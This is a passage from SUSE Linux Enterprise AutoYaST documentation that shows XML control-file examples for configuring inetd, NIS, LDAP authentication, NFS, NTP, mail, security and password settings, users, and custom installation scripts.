&lt;/proxy&gt;</pre></div></div></div></div><div class="sect2 " id="Configuration.Network.Inetd"><div class="titlepage"><div><div><h3 class="title" id="Configuration.Network.Inetd"><span class="number">4.8.4 </span><span class="name">(X)Inetd</span> <a title="Permalink" class="permalink" href="configuration.html#Configuration.Network.Inetd">#</a></h3></div></div></div><p>
     The control file has elements to specify which superserver should be
     used (netd_service), whether it should be enabled (netd_status) and how
     the services should be configured (netd_conf).
    </p><p>
     A service description element has two parts: key and non-key. When
     writing the configuration, services are matched using the key fields;
     to the matching service, non-key fields are applied. If no service
     matches, it is created. If more services match, a warning is reported.
     The key fields are <span class="emphasis"><em>script, service, protocol and
     server.</em></span>
    </p><p>
     <span class="emphasis"><em>service</em></span> and <span class="emphasis"><em>protocol</em></span> are
     matched literally. <span class="emphasis"><em>script</em></span> is the base name of the
     configuration file: usually a file in<code class="filename">
     /etc/xinetd.d</code>, for example "echo-udp", or "inetd.conf". For
     compatibility with 8.2, <span class="emphasis"><em>server</em></span> is matched more
     loosely: if it is <code class="filename">/usr/sbin/tcpd</code>, the real server
     name is taken from <span class="emphasis"><em>server_args</em></span>. After that, the
     basename of the first whitespace-separated word is taken and these
     values are compared.
    </p><div id="idm140013830361008" class="admonition note"><img class="symbol" alt="Note" title="Note" src="static/images/icon-note.png" /><h6>Note</h6><p>
      Since <span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span> 12 SP1 it is possible to configure the network for
      the installed system while the first installation stage. In that case
      you have to set
     </p><div class="verbatim-wrap"><pre class="screen">&lt;second_stage config:type="boolean"&gt;false&lt;/second_stage&gt;</pre></div><p>
      in the <code class="literal">general/mode</code> section.
     </p></div><div class="example" id="idm140013830357552"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.19: </span><span class="name">Inetd Example </span><a title="Permalink" class="permalink" href="configuration.html#idm140013830357552">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;profile&gt;
  &lt;inetd&gt;
    &lt;netd_service config:type="symbol"&gt;xinetd&lt;/netd_service&gt;
    &lt;netd_status config:type="integer"&gt;0&lt;/netd_status&gt;
    &lt;netd_conf config:type="list"&gt;
      &lt;conf&gt;
	&lt;script&gt;imap&lt;/script&gt;
	&lt;service&gt;pop3&lt;/service&gt;
	&lt;enabled config:type="boolean"&gt;true&lt;/enabled&gt;
      &lt;/conf&gt;
      &lt;conf&gt;
	&lt;server&gt;in.ftpd&lt;/server&gt;
	&lt;server_args&gt;-A&lt;/server_args&gt;
	&lt;enabled config:type="boolean"&gt;true&lt;/enabled&gt;
      &lt;/conf&gt;
      &lt;conf&gt;
	&lt;service&gt;daytime&lt;/service&gt;
	&lt;protocol&gt;tcp&lt;/protocol&gt;
      &lt;/conf&gt;
      &lt;conf&gt;...&lt;/conf&gt;
    &lt;/netd_conf&gt;
  &lt;/inetd&gt;
&lt;/profile&gt;</pre></div></div></div></div></div><div class="sect1 " id="Configuration.Network.NIS"><div class="titlepage"><div><div><h2 class="title" id="Configuration.Network.NIS"><span class="number">4.9 </span><span class="name">NIS</span> <a title="Permalink" class="permalink" href="configuration.html#Configuration.Network.NIS">#</a></h2></div></div></div><p>
    Using the <code class="literal">nis</code> resource, you can configure the target
    machine as a NIS client. The following example shows a detailed
    configuration using multiple domains.
   </p><div class="example" id="idm140013830353120"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.20: </span><span class="name">Network configuration: NIS </span><a title="Permalink" class="permalink" href="configuration.html#idm140013830353120">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen"> &lt;nis&gt;
  &lt;nis_broadcast config:type="boolean"&gt;true&lt;/nis_broadcast&gt;
  &lt;nis_broken_server config:type="boolean"&gt;true&lt;/nis_broken_server&gt;
  &lt;nis_by_dhcp config:type="boolean"&gt;false&lt;/nis_by_dhcp&gt;
  &lt;nis_domain&gt;test.com&lt;/nis_domain&gt;
  &lt;nis_local_only config:type="boolean"&gt;true&lt;/nis_local_only&gt;
  &lt;nis_options&gt;&lt;/nis_options&gt;
  &lt;nis_other_domains config:type="list"&gt;
    &lt;nis_other_domain&gt;
      &lt;nis_broadcast config:type="boolean"&gt;false&lt;/nis_broadcast&gt;
      &lt;nis_domain&gt;domain.com&lt;/nis_domain&gt;
      &lt;nis_servers config:type="list"&gt;
        &lt;nis_server&gt;10.10.0.1&lt;/nis_server&gt;
      &lt;/nis_servers&gt;
    &lt;/nis_other_domain&gt;
  &lt;/nis_other_domains&gt;
  &lt;nis_servers config:type="list"&gt;
    &lt;nis_server&gt;192.168.1.1&lt;/nis_server&gt;
  &lt;/nis_servers&gt;
  &lt;start_autofs config:type="boolean"&gt;true&lt;/start_autofs&gt;
  &lt;start_nis config:type="boolean"&gt;true&lt;/start_nis&gt;
&lt;/nis&gt;</pre></div></div></div></div><div class="sect1 " id="Configuration.Network.Auth"><div class="titlepage"><div><div><h2 class="title" id="Configuration.Network.Auth"><span class="number">4.10 </span><span class="name">Authentication Client</span> <a title="Permalink" class="permalink" href="configuration.html#Configuration.Network.Auth">#</a></h2></div></div></div><p>
    The following is a simple example for an LDAP user authentication. NSS
    and PAM will automatically be configured accordingly. Required data are
    the name of the search base (base DN, e.g,
    <code class="literal">dc=mydomain,dc=com</code>) and the IP address of the LDAP
    server.
   </p><div class="example" id="idm140013830348448"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.21: </span><span class="name">Network configuration: Authentication Client </span><a title="Permalink" class="permalink" href="configuration.html#idm140013830348448">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;auth-client&gt;
  &lt;sssd&gt;yes&lt;/sssd&gt;
  &lt;nssldap&gt;no&lt;/nssldap&gt;
  &lt;sssd_conf&gt;
    &lt;sssd&gt;
      &lt;config_file_version&gt;2&lt;/config_file_version&gt;
      &lt;services&gt;nss, pam, sudo&lt;/services&gt;
      &lt;domains&gt;EXAMPLE&lt;/domains&gt;
    &lt;/sssd&gt;
    &lt;auth_domains&gt;
      &lt;domain&gt;
        &lt;domain_name&gt;EXAMPLE&lt;/domain_name&gt;
        &lt;id_provider&gt;ldap&lt;/id_provider&gt;
        &lt;sudo_provider&gt;ldap&lt;/sudo_provider&gt;
        &lt;ldap_uri&gt;ldap://example.com&lt;/ldap_uri&gt;
        &lt;ldap_sudo_search_base&gt;ou=sudoers,dc=example,dc=com&lt;/ldap_sudo_search_base&gt;
      &lt;/domain&gt;
    &lt;/auth_domains&gt;
  &lt;/sssd_conf&gt;
&lt;/auth-client&gt;</pre></div></div></div><div id="idm140013830346512" class="admonition tip"><img class="symbol" alt="Tip" title="Tip" src="static/images/icon-tip.png" /><h6>Tip: Using ldaps://</h6><p>
     To use LDAP with native SSL (rather than TLS), add the
     <code class="literal">ldaps</code> resource:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;auth-client&gt;
  &lt;sssd_conf&gt;
    &lt;auth_domains&gt;
      &lt;domain&gt;
        &lt;ldaps config:type="boolean"&gt;true&lt;/ldaps&gt;
      &lt;/domain&gt;
    &lt;/auth_domains&gt;
  &lt;/sssd_conf&gt;
&lt;/auth-client&gt;</pre></div></div></div><div class="sect1 " id="ay.nfs"><div class="titlepage"><div><div><h2 class="title" id="ay.nfs"><span class="number">4.11 </span><span class="name">NFS Client and Server</span> <a title="Permalink" class="permalink" href="configuration.html#ay.nfs">#</a></h2></div></div></div><p>
    Configuring a system as an NFS client or an NFS server is can be done
    using the configuration system. The following examples show how both NFS
    client and server can be configured.
   </p><p>
    From SUSE Linux Enterprise 12 on, the structure of NFS client configuration has
    changed. Some global configuration options were introduced:
    <code class="literal">enable_nfs4</code> to switch NFS4 support on/off and
    <code class="literal">idmapd_domain</code> to define domain name for rpc.idmapd
    (this only makes sense when NFS4 is enabled). Attention: the old
    structure is not compatible with the new one and the control files with
    an NFS section created on older releases will not work with newer
    products.
   </p><div class="example" id="idm140013830340464"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.22: </span><span class="name">Network Configuration: NFS Client </span><a title="Permalink" class="permalink" href="configuration.html#idm140013830340464">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;nfs&gt;
  &lt;enable_nfs4 config:type="boolean"&gt;true&lt;/enable_nfs4&gt;
  &lt;idmapd_domain&gt;suse.cz&lt;/idmapd_domain&gt;
  &lt;nfs_entries config:type="list"&gt;
    &lt;nfs_entry&gt;
      &lt;mount_point&gt;/home&lt;/mount_point&gt;
      &lt;nfs_options&gt;sec=krb5i,intr,rw&lt;/nfs_options&gt;
      &lt;server_path&gt;saurus.suse.cz:/home&lt;/server_path&gt;
      &lt;vfstype&gt;nfs4&lt;/vfstype&gt;
    &lt;/nfs_entry&gt;
    &lt;nfs_entry&gt;
      &lt;mount_point&gt;/work&lt;/mount_point&gt;
      &lt;nfs_options&gt;defaults&lt;/nfs_options&gt;
      &lt;server_path&gt;bivoj.suse.cz:/work&lt;/server_path&gt;
      &lt;vfstype&gt;nfs&lt;/vfstype&gt;
    &lt;/nfs_entry&gt;
    &lt;nfs_entry&gt;
      &lt;mount_point&gt;/mnt&lt;/mount_point&gt;
      &lt;nfs_options&gt;defaults&lt;/nfs_options&gt;
      &lt;server_path&gt;fallback.suse.cz:/srv/dist&lt;/server_path&gt;
      &lt;vfstype&gt;nfs&lt;/vfstype&gt;
    &lt;/nfs_entry&gt;
  &lt;/nfs_entries&gt;
&lt;/nfs&gt;</pre></div></div></div><div class="example" id="idm140013830338352"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.23: </span><span class="name">Network Configuration: NFS Server </span><a title="Permalink" class="permalink" href="configuration.html#idm140013830338352">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;nfs_server&gt;
  &lt;nfs_exports config:type="list"&gt;
    &lt;nfs_export&gt;
      &lt;allowed config:type="list"&gt;
        &lt;allowed_clients&gt;*(ro,root_squash,sync)&lt;/allowed_clients&gt;
      &lt;/allowed&gt;
      &lt;mountpoint&gt;/home&lt;/mountpoint&gt;
    &lt;/nfs_export&gt;
    &lt;nfs_export&gt;
      &lt;allowed config:type="list"&gt;
        &lt;allowed_clients&gt;*(ro,root_squash,sync)&lt;/allowed_clients&gt;
      &lt;/allowed&gt;
      &lt;mountpoint&gt;/work&lt;/mountpoint&gt;
    &lt;/nfs_export&gt;
  &lt;/nfs_exports&gt;
  &lt;start_nfsserver config:type="boolean"&gt;true&lt;/start_nfsserver&gt;
&lt;/nfs_server&gt;</pre></div></div></div></div><div class="sect1 " id="Configuration.Network.Ntp"><div class="titlepage"><div><div><h2 class="title" id="Configuration.Network.Ntp"><span class="number">4.12 </span><span class="name">NTP Client</span> <a title="Permalink" class="permalink" href="configuration.html#Configuration.Network.Ntp">#</a></h2></div></div></div><p>
    Select whether to start the NTP daemon when booting the system. The NTP
    daemon resolves host names when initializing.
   </p><p>
    To run NTP daemon in chroot jail, set
    <code class="literal">start_in_chroot</code>. Starting any daemon in a chroot jail
    is more secure and strongly recommended. To adjust NTP servers, peers,
    local clocks, and NTP broadcasting, add the appropriate entry to the
    control file. An example of various configuration options is shown
    below.
   </p><div class="example" id="idm140013830333328"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.24: </span><span class="name">Network configuration: NTP Client </span><a title="Permalink" class="permalink" href="configuration.html#idm140013830333328">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;ntp-client&gt;
  &lt;configure_dhcp config:type="boolean"&gt;false&lt;/configure_dhcp&gt;
  &lt;peers config:type="list"&gt;
    &lt;peer&gt;
      &lt;address&gt;ntp.example.com&lt;/address&gt;
      &lt;options&gt;&lt;/options&gt;
      &lt;type&gt;server&lt;/type&gt;
    &lt;/peer&gt;
  &lt;/peers&gt;
  &lt;start_at_boot config:type="boolean"&gt;true&lt;/start_at_boot&gt;
  &lt;start_in_chroot config:type="boolean"&gt;true&lt;/start_in_chroot&gt;
&lt;/ntp-client&gt;</pre></div></div></div></div><div class="sect1 " id="Configuration.Network.Sendmail"><div class="titlepage"><div><div><h2 class="title" id="Configuration.Network.Sendmail"><span class="number">4.13 </span><span class="name">Mail Configuration</span> <a title="Permalink" class="permalink" href="configuration.html#Configuration.Network.Sendmail">#</a></h2></div></div></div><p>
    For the mail configuration of the client, this module lets you create a
    detailed mail configuration. The module contains various options. We
    recommended you use it at least for the initial configuration.
   </p><div class="example" id="idm140013830329600"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.25: </span><span class="name">Mail Configuration </span><a title="Permalink" class="permalink" href="configuration.html#idm140013830329600">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;mail&gt;
  &lt;aliases config:type="list"&gt;
    &lt;alias&gt;
      &lt;alias&gt;root&lt;/alias&gt;
      &lt;comment&gt;&lt;/comment&gt;
      &lt;destinations&gt;foo&lt;/destinations&gt;
    &lt;/alias&gt;
    &lt;alias&gt;
      &lt;alias&gt;test&lt;/alias&gt;
      &lt;comment&gt;&lt;/comment&gt;
      &lt;destinations&gt;foo&lt;/destinations&gt;
    &lt;/alias&gt;
  &lt;/aliases&gt;
  &lt;connection_type config:type="symbol"&gt;permanent&lt;/connection_type&gt;
  &lt;fetchmail config:type="list"&gt;
    &lt;fetchmail_entry&gt;
      &lt;local_user&gt;foo&lt;/local_user&gt;
      &lt;password&gt;bar&lt;/password&gt;
      &lt;protocol&gt;POP3&lt;/protocol&gt;
      &lt;remote_user&gt;foo&lt;/remote_user&gt;
      &lt;server&gt;pop.foo.com&lt;/server&gt;
    &lt;/fetchmail_entry&gt;
    &lt;fetchmail_entry&gt;
      &lt;local_user&gt;test&lt;/local_user&gt;
      &lt;password&gt;bar&lt;/password&gt;
      &lt;protocol&gt;IMAP&lt;/protocol&gt;
      &lt;remote_user&gt;test&lt;/remote_user&gt;
      &lt;server&gt;blah.com&lt;/server&gt;
    &lt;/fetchmail_entry&gt;
  &lt;/fetchmail&gt;
  &lt;from_header&gt;test.com&lt;/from_header&gt;
  &lt;listen_remote config:type="boolean"&gt;true&lt;/listen_remote&gt;
  &lt;local_domains config:type="list"&gt;
    &lt;domains&gt;test1.com&lt;/domains&gt;
  &lt;/local_domains&gt;
  &lt;masquerade_other_domains config:type="list"&gt;
      &lt;domain&gt;blah.com&lt;/domain&gt;
  &lt;/masquerade_other_domains&gt;
  &lt;masquerade_users config:type="list"&gt;
    &lt;masquerade_user&gt;
      &lt;address&gt;joe@test.com&lt;/address&gt;
      &lt;comment&gt;&lt;/comment&gt;
      &lt;user&gt;joeuser&lt;/user&gt;
    &lt;/masquerade_user&gt;
    &lt;masquerade_user&gt;
      &lt;address&gt;bar@test.com&lt;/address&gt;
      &lt;comment&gt;&lt;/comment&gt;
      &lt;user&gt;foo&lt;/user&gt;
    &lt;/masquerade_user&gt;
  &lt;/masquerade_users&gt;
  &lt;mta config:type="symbol"&gt;postfix&lt;/mta&gt;
  &lt;outgoing_mail_server&gt;test.com&lt;/outgoing_mail_server&gt;
  &lt;postfix_mda config:type="symbol"&gt;local&lt;/postfix_mda&gt;
  &lt;smtp_auth config:type="list"&gt;
    &lt;listentry&gt;
      &lt;password&gt;bar&lt;/password&gt;
      &lt;server&gt;test.com&lt;/server&gt;
      &lt;user&gt;foo&lt;/user&gt;
    &lt;/listentry&gt;
  &lt;/smtp_auth&gt;
  &lt;use_amavis config:type="boolean"&gt;true&lt;/use_amavis&gt;
  &lt;virtual_users config:type="list"&gt;
    &lt;virtual_user&gt;
      &lt;alias&gt;test.com&lt;/alias&gt;
      &lt;comment&gt;&lt;/comment&gt;
      &lt;destinations&gt;foo.com&lt;/destinations&gt;
    &lt;/virtual_user&gt;
    &lt;virtual_user&gt;
      &lt;alias&gt;geek.com&lt;/alias&gt;
      &lt;comment&gt;&lt;/comment&gt;
      &lt;destinations&gt;bar.com&lt;/destinations&gt;
    &lt;/virtual_user&gt;
  &lt;/virtual_users&gt;
&lt;/mail&gt;</pre></div></div></div></div><div class="sect1 " id="CreateProfile.Security"><div class="titlepage"><div><div><h2 class="title" id="CreateProfile.Security"><span class="number">4.14 </span><span class="name">Security Settings</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Security">#</a></h2></div></div></div><p>
    Using the features of this module, you can to change the local security
    settings on the target system. The local security settings include the
    boot configuration, login settings, password settings, user addition
    settings, and file permissions.
   </p><p>
    Configuring the security settings automatically corresponds to the
    <code class="literal">Custom Settings</code> in the security module available in
    the running system which lets you create your own, customized
    configuration.
   </p><div class="complex-example"><div class="example" id="idm140013837334336"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.26: </span><span class="name">Security configuration </span><a title="Permalink" class="permalink" href="configuration.html#idm140013837334336">#</a></h6></div><div class="example-contents"><p>
     See the reference for the meaning and the possible values of the
     settings in the following example.
    </p><div class="verbatim-wrap"><pre class="screen">&lt;security&gt;
  &lt;console_shutdown&gt;ignore&lt;/console_shutdown&gt;
  &lt;cwd_in_root_path&gt;no&lt;/cwd_in_root_path&gt;
  &lt;displaymanager_remote_access&gt;no&lt;/displaymanager_remote_access&gt;
  &lt;fail_delay&gt;3&lt;/fail_delay&gt;
  &lt;faillog_enab&gt;yes&lt;/faillog_enab&gt;
  &lt;gid_max&gt;60000&lt;/gid_max&gt;
  &lt;gid_min&gt;101&lt;/gid_min&gt;
  &lt;gdm_shutdown&gt;root&lt;/gdm_shutdown&gt;
  &lt;lastlog_enab&gt;yes&lt;/lastlog_enab&gt;
  &lt;encryption&gt;md5&lt;/encryption&gt;
  &lt;obscure_checks_enab&gt;no&lt;/obscure_checks_enab&gt;
  &lt;pass_max_days&gt;99999&lt;/pass_max_days&gt;
  &lt;pass_max_len&gt;8&lt;/pass_max_len&gt;
  &lt;pass_min_days&gt;1&lt;/pass_min_days&gt;
  &lt;pass_min_len&gt;6&lt;/pass_min_len&gt;
  &lt;pass_warn_age&gt;14&lt;/pass_warn_age&gt;
  &lt;passwd_use_cracklib&gt;yes&lt;/passwd_use_cracklib&gt;
  &lt;permission_security&gt;secure&lt;/permission_security&gt;
  &lt;run_updatedb_as&gt;nobody&lt;/run_updatedb_as&gt;
  &lt;uid_max&gt;60000&lt;/uid_max&gt;
  &lt;uid_min&gt;500&lt;/uid_min&gt;
&lt;/security&gt;</pre></div></div></div></div><div class="sect2 " id="CreateProfile.Security.password"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.Security.password"><span class="number">4.14.1 </span><span class="name">Password Settings Options</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Security.password">#</a></h3></div></div></div><p>
     Change various password settings. These settings are mainly stored in
     the <code class="filename">/etc/login.defs</code> file.
    </p><p>
     Use this resource to activate one of the encryption methods currently
     supported. If not set, <code class="literal">DES</code> is configured.
    </p><p>
     <code class="literal">DES</code>, the Linux default method, works in all network
     environments, but it restricts you to passwords no longer than eight
     characters. <code class="literal">MD5</code> allows longer passwords, thus
     provides more security, but some network protocols do not support this,
     and you may have problems with NIS. <code class="literal">Blowfish</code> is also
     supported.
    </p><p>
     Additionally, you can set up the system to check for password
     plausibility and length etc.
    </p></div><div class="sect2 " id="CreateProfile.Security.boot"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.Security.boot"><span class="number">4.14.2 </span><span class="name">Boot Settings</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Security.boot">#</a></h3></div></div></div><p>
     Use the security resource, to change various boot settings.
    </p><div class="variablelist "><dl class="variablelist"><dt id="idm140013837323776"><span class="term ">
       How to interpret <span class="keycap">Ctrl</span><span class="key-connector">–</span><span class="keycap">Alt</span><span class="key-connector">–</span><span class="keycap">Del</span>?
      </span></dt><dd><p>
        When someone at the console has pressed the
        <span class="keycap">Ctrl</span><span class="key-connector">–</span><span class="keycap">Alt</span><span class="key-connector">–</span><span class="keycap">Del</span> key combination, the system
        usually reboots. Sometimes it is desirable to ignore this event, for
        example, when the system serves as both workstation and server.
       </p></dd><dt id="idm140013837318496"><span class="term ">Shutdown behavior of GDM</span></dt><dd><p>
        Configure a list of users allowed to shut down the machine from GDM.
       </p></dd></dl></div></div><div class="sect2 " id="CreateProfile.Security.login"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.Security.login"><span class="number">4.14.3 </span><span class="name">Login Settings</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Security.login">#</a></h3></div></div></div><p>
     Change various login settings. These settings are mainly stored in the
     <code class="filename">/etc/login.defs</code> file.
    </p></div><div class="sect2 " id="CreateProfile.Security.users"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.Security.users"><span class="number">4.14.4 </span><span class="name">New user settings (<code class="command">useradd</code> settings)</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Security.users">#</a></h3></div></div></div><p>
     Set the minimum and maximum possible user and group ID
    </p></div></div><div class="sect1 " id="Configuration.Security.users"><div class="titlepage"><div><div><h2 class="title" id="Configuration.Security.users"><span class="number">4.15 </span><span class="name">Users</span> <a title="Permalink" class="permalink" href="configuration.html#Configuration.Security.users">#</a></h2></div></div></div><p>
    The <code class="systemitem">root</code> and at least one normal user can be added during
    install using data supplied in the control file. User data and passwords
    (encrypted or in clear text) are part of the
    <code class="literal">configure</code> resource in the control file.
   </p><p>
    At least the <code class="systemitem">root</code> should be configured during auto-installation
    so you can login after the installation is finished. It will also ensure
    nobody else can login to the system (in case the password is not set).
   </p><p>
    The two users in the following example are added during system
    configuration.
   </p><div class="example" id="idm140013837306768"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.27: </span><span class="name">User Configuration </span><a title="Permalink" class="permalink" href="configuration.html#idm140013837306768">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;users config:type="list"&gt;
  &lt;user&gt;
    &lt;username&gt;root&lt;/username&gt;
    &lt;user_password&gt;password&lt;/user_password&gt;
    &lt;encrypted config:type="boolean"&gt;true&lt;/encrypted&gt;
    &lt;forename/&gt;
    &lt;surname/&gt;
  &lt;/user&gt;
  &lt;user&gt;
    &lt;username&gt;tux&lt;/username&gt;
    &lt;user_password&gt;password&lt;/user_password&gt;
    &lt;encrypted config:type="boolean"&gt;true&lt;/encrypted&gt;
    &lt;forename&gt;Tux&lt;/forename&gt;
    &lt;surname&gt;Linux&lt;/surname&gt;	  	
  &lt;/user&gt;
&lt;/users&gt;</pre></div></div></div><p>
    The last example shows the minimal information required for adding
    users. Additional options are available for a more customized user
    account management. The data in
    <code class="filename">/etc/default/useradd</code> is used to determine the home
    directory of the user to be created plus other parameters.
   </p><div id="idm140013838604048" class="admonition note"><img class="symbol" alt="Note" title="Note" src="static/images/icon-note.png" /><h6>Note: Users set up during the first stage</h6><p>
      Starting with <span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span> 12 SP1, users are set up during the first
      stage (in previous versions it happened in the second one). So with a
      minimal profile, you can set up an usable system running only the first
      stage.
    </p></div></div><div class="sect1 " id="createprofile.scripts"><div class="titlepage"><div><div><h2 class="title" id="createprofile.scripts"><span class="number">4.16 </span><span class="name">Custom User Scripts</span> <a title="Permalink" class="permalink" href="configuration.html#createprofile.scripts">#</a></h2></div></div></div><p>
    By adding scripts to the auto-installation process you can customize the
    installation according to your needs and take control in different
    stages of the installation.
   </p><p>
    In the auto-installation process, five types of scripts can be executed
    at different points in time during the installation:
   </p><p>
    All scripts need to be in the &lt;scritps&gt; section.
   </p><div class="itemizedlist "><ul class="itemizedlist"><li class="listitem "><p>
      <code class="literal">pre-scripts</code> (very early, before anything else
      really happens)
     </p></li><li class="listitem "><p>
      <code class="literal">postpartitioning-scripts</code> (after partitioning and
      mounting to <code class="filename">/mnt</code> but before RPM installation)
     </p></li><li class="listitem "><p>
      <code class="literal">chroot-scripts</code> (after the package installation,
      before the first boot)
     </p></li><li class="listitem "><p>
      <code class="literal">post-scripts</code> (during the first boot of the
      installed system, no services running)
     </p></li><li class="listitem "><p>
      <code class="literal">init-scripts</code> (during the first boot of the
      installed system, all services up and running)
     </p></li></ul></div><div class="sect2 " id="pre-install.scripts"><div class="titlepage"><div><div><h3 class="title" id="pre-install.scripts"><span class="number">4.16.1 </span><span class="name">Pre-Install Scripts</span> <a title="Permalink" class="permalink" href="configuration.html#pre-install.scripts">#</a></h3></div></div></div><p>
     Executed before YaST does any real change to the system (before
     partitioning and package installation but after the hardware
     detection).
    </p><p>
     You can use a pre-script to modify your control file and let AutoYaST
     reread it. Find your control file in
     <code class="filename">/tmp/profile/autoinst.xml</code>. Adjust the file and
     store the modified version in
     <code class="filename">/tmp/profile/modified.xml</code>. AutoYaST will read the
     modified file after the pre-script finishes.
    </p><p>
     It is also possible to change the partitioning in your pre-script.
    </p><div id="idm140013838586128" class="admonition note"><img class="symbol" alt="Note" title="Note" src="static/images/icon-note.png" /><h6>Note: Pre-Install Scripts with Confirmation</h6><p>
      Pre-scripts are executed at an early stage of the installation. This
      means if you have requested to confirm the installation, the
      pre-scripts will be executed before the confirmation screen shows up
      (<code class="literal">profile/install/general/mode/confirm</code>).
     </p></div><div id="idm140013838584096" class="admonition note"><img class="symbol" alt="Note" title="Note" src="static/images/icon-note.png" /><h6>Note: Pre-Install and Zypper</h6><p>
      If you would like to call <span class="emphasis"><em>zypper</em></span> in the pre-install
      script you will have to set the environment variable <span class="emphasis"><em>ZYPP_LOCKFILE_ROOT="/var/run/autoyast"</em></span> 
      in order to prevent conflicts with the running YAST process.
     </p></div><p>
     Pre-Install Script elements must be placed as follows:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;scripts&gt;
  &lt;pre-scripts config:type="list"&gt;
    &lt;script&gt;
      ...
    &lt;/script&gt;
  &lt;/pre-scripts&gt;
&lt;/scripts&gt;</pre></div></div><div class="sect2 " id="postpartitioning-install.scripts"><div class="titlepage"><div><div><h3 class="title" id="postpartitioning-install.scripts"><span class="number">4.16.2 </span><span class="name">Post-partitioning Scripts</span> <a title="Permalink" class="permalink" href="configuration.html#postpartitioning-install.scripts">#</a></h3></div></div></div><p>
     Executed after YaST has done the partitioning and written the
     fstab. The empty system is already mounted to
     <code class="filename">/mnt</code>.
    </p><p>
     Post-partitioning script elements must be placed as follows:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;scripts&gt;
  &lt;postpartitioning-scripts config:type="list"&gt;
    &lt;script&gt;
      ...
    &lt;/script&gt;
  &lt;/postpartitioning-scripts&gt;
&lt;/scripts&gt;</pre></div></div><div class="sect2 " id="chroot.scripts"><div class="titlepage"><div><div><h3 class="title" id="chroot.scripts"><span class="number">4.16.3 </span><span class="name">Chroot Environment Scripts</span> <a title="Permalink" class="permalink" href="configuration.html#chroot.scripts">#</a></h3></div></div></div><p>
     Chroot scripts are executed before the machine reboots for the first
     time. You can execute chroot scripts before the installation chroots
     into the installed system and configures the boot loader or you can
     execute a script after the chroot into the installed system has
     happened (look at the <code class="literal">chrooted</code> parameter for that).
    </p><p>
     Chroot Environment script elements must be placed as follows:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;scripts&gt;
  &lt;chroot-scripts config:type="list"&gt;
    &lt;script&gt;
      ...
    &lt;/script&gt;
  &lt;/chroot-scripts&gt;
&lt;/scripts&gt;</pre></div></div><div class="sect2 " id="post-install.scripts"><div class="titlepage"><div><div><h3 class="title" id="post-install.scripts"><span class="number">4.16.4 </span><span class="name">Post-Install Scripts</span> <a title="Permalink" class="permalink" href="configuration.html#post-install.scripts">#</a></h3></div></div></div><p>
     These scripts are executed after AutoYaST has completed the system
     configuration and after it has booted the system for the first time.
    </p><p>
     It is possible to execute post scripts in an earlier phase while the
     installation network is still up and before AutoYaST configures the
     system. To run network-enabled post scripts, the boolean property
     <code class="literal">network_needed</code> needs to be set to
     <code class="literal">true</code>.
    </p><p>
     Post-install script elements must be placed as follows:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;scripts&gt;
    &lt;post-scripts config:type="list"&gt;
      &lt;script&gt;
        ...
      &lt;/script&gt;
    &lt;/post-scripts&gt;
  &lt;/scripts&gt;</pre></div></div><div class="sect2 " id="init.scripts"><div class="titlepage"><div><div><h3 class="title" id="init.scripts"><span class="number">4.16.5 </span><span class="name">Init Scripts</span> <a title="Permalink" class="permalink" href="configuration.html#init.scripts">#</a></h3></div></div></div><p>
     These scripts are executed when YaST has finished, during the
     initial boot process after the network has been initialized. These
     final scripts are executed using
     <code class="filename">/usr/lib/YaST2/bin/autoyast-initscripts.sh</code> and are
     executed only once. Init scripts are configured using the tag
     <span class="emphasis"><em>init-scripts</em></span>.
    </p><p>
     The following elements must be between the
     &lt;scripts&gt;&lt;init-scripts
     config:type="list"&gt;&lt;script&gt; ...
     &lt;/script&gt;&lt;/init-scripts&gt;...&lt;/scripts&gt;
     tags
    </p><div class="table" id="idm140013828400480"><div class="table-title-wrap"><h6 class="table-title"><span class="number">Table 4.2: </span><span class="name">Init script XML representation </span><a title="Permalink" class="permalink" href="configuration.html#idm140013828400480">#</a></h6></div><div class="table-contents"><table summary="Init script XML representation" border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
         <p>
          Element
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th><th>
         <p>
          Comment
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">location</code>
         </p>
        </td><td>
         <p>
          Define a location from where the script gets fetched. Locations
          can be the same as for the profile (HTTP, FTP, NFS, etc.).
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;location
&gt;http://10.10.0.1/myInitScript.sh&lt;/location&gt;</pre></div>
        </td><td>
         <p>
          Either &lt;location&gt; or &lt;source&gt; must be
          defined.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">source</code>
         </p>
        </td><td>
         <p>
